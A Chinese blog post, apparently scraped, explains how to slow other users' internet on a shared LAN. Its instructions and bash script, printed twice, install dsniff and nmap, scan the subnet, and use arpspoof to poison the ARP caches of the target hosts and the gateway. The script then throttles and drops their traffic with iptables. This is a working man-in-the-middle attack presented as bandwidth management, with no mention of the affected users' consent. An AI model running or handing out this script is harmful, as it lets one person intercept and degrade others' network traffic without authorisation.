linux轻松限制局域网网速
2012-04-06 10:28
399 查看
为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables
while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&
$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -s $2 -j DROP
$IPT -A FORWARD -d $2 -j DROP
done
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables
while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&
$IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT
$IPT -A FORWARD -s $2 -j DROP
$IPT -A FORWARD -d $2 -j DROP
done
相关文章推荐
- Ubuntu下限制局域网网速教程
- 交换器限制局域网速度方法:qos限制局域网网速
- 怎样限制局域网的网速
- 如何限制局域网网速
- linux限制网速的方法(debian下亲测能用)
- Linux限制网速
- linux环境下,利用tc限制两台服务器间的网速,非常简单。
- 限制别人网速秘籍[局域网中敢看电影、下载我就限制你!][幻境网盾V3.7]
- Linux pfctl命令 (网速限制)
- ARP防火墙 (防如网络执法官、网络剪刀手、局域网终结者限制本机网速)
- Linux中限制网速
- 利用linux traffic control 作局域网中网速控制
- Linux下限制本机网速
- 交换器限制局域网速度方法:qos限制局域网网速
- 路由巧设置 局域网轻松限制BT下载
- linux_网速限制
- H3C华为交换机限制局域网速度设置方法,轻松限制局域网上传下载
- VC编程轻松获取局域网连接通知
- [转]Linux下高并发socket最大连接数所受的各种限制
- 在Linux下的进程资源的限制(struct rlimit)详解